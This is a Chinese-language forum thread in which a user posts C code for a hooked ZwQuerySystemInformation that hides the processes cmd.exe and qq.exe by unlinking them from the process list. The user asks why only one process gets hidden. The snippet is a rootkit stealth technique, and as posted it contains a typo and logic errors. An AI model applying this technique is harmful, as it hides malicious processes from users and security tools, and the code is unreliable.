trent
驱动老牛
驱动老牛
  • 注册日期2002-03-01
  • 最后登录2014-09-18
  • 粉丝0
  • 关注0
  • 积分61分
  • 威望185点
  • 贡献值0点
  • 好评度2点
  • 原创分0分
  • 专家分0分
阅读:1424回复:9

隐藏进程

楼主#
更多 发布于:2004-11-26 16:19
我用驱网的ROOTKIT的技术隐藏两个进程
发现我只能隐藏其中的一个
代码如下:
在NTSTATUS NewZwQuerySystemInformation 函数中
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
    if(0 == memcmp( process_name.Buffer, "cmd.exe", 7) || 0 == memcmp( process_name.Buffer, "qq.exe", 6)  )
   {
       if(prev)
       {
           if(curr->NextEntryDelta)
           {
                prev->NextEntryDelta += curr>NextEntryDelta;
           }
           else
           {
                prev->NextEntryDelta = 0;
           }
        }
        else
        {
            if(curr->NextEntryDelta)
            {
    (char *)SystemInformation += curr->NextEntryDelta;
            }
            else
            {
            SystemInformation = NULL;
            }
        }
    }
    prev = curr;
    if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    else curr = NULL;
}
大家看看有啥问题!






最新喜欢:

aasa2aasa2
我不仅要金子,我还要点石成金的手指!
trent
驱动老牛
驱动老牛
  • 注册日期2002-03-01
  • 最后登录2014-09-18
  • 粉丝0
  • 关注0
  • 积分61分
  • 威望185点
  • 贡献值0点
  • 好评度2点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2004-11-27 10:42
toadwolf
你好!
prev=curr 这里进行遍历, 找下一个要隐藏的节点
如果不对要整样改呢?
aethercat
你好!
大小写是测试
你所说要扎处理呢?
那样改不对吗?
谢谢回付整样给你们分呢?
我不仅要金子,我还要点石成金的手指!
游客

返回顶部